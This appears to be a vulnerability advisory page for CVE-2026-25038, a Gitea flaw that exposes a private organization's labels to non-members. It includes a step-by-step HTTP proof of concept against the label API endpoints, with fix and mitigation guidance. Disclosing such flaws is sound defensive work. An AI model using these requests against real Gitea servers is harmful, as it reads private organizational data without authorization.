CVE-2026-25038 is a high-severity (CVSS 7.5) Information Exposure vulnerability in code.gitea.io/gitea. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.
Gitea private organization labels are visible to unauthorized users
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25038.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-25038 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
code.gitea.io/giteaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.
A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.
The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.
Details
The following endpoints are affected:
GET /api/v1/orgs/{org}/labelsGET /api/v1/orgs/{org}/labels/{id}
During testing, a private organization was created and a label was added to that organization.
Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.
However, the same user was still able to retrieve organization labels through the endpoints listed above.
For comparison, other organization-scoped endpoints such as:
GET /api/v1/orgs/{org}/teamsGET /api/v1/orgs/{org}/hooksGET /api/v1/orgs/{org}/actions/secrets
correctly denied access to unauthorized users.
The label endpoints returned the full Label object, including fields such as:
idnamedescriptioncolorurl
Write operations were tested separately and remained protected by authorization checks.
PoC
Setup
Create a private organization:
POST /api/v1/orgs
Authorization: token <owner_token>
{
"username": "target-org",
"visibility": "private"
}
Create a label:
POST /api/v1/orgs/target-org/labels
Authorization: token <owner_token>
{
"name": "internal-label",
"color": "#aabbcc",
"description": "private organization label"
}
Verify that the organization is not accessible to a non-member:
GET /api/v1/orgs/target-org
Authorization: token <non_member_token>
Response:
HTTP/1.1 404 Not Found
Retrieve all labels
Request:
GET /api/v1/orgs/target-org/labels
Authorization: token <non_member_token>
Observed response:
HTTP/1.1 200 OK
The response contains labels belonging to the private organization.
Retrieve a specific label
Request:
GET /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>
Observed response:
HTTP/1.1 200 OK
The full Label object is returned.
Verify write protection
Request:
PATCH /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>
Response:
HTTP/1.1 403 Forbidden
PoC Details
https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak
Impact
Users who are not authorized to access a private organization can obtain label metadata associated with that organization.
Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.
The issue affects confidentiality only. No integrity or availability impact was observed.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.26.3go get code.gitea.io/gitea@v1.26.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.gitea.io/gitea to 1.26.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25038 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-25038 in your dependencies?
Find it across Go, including transitive dependencies.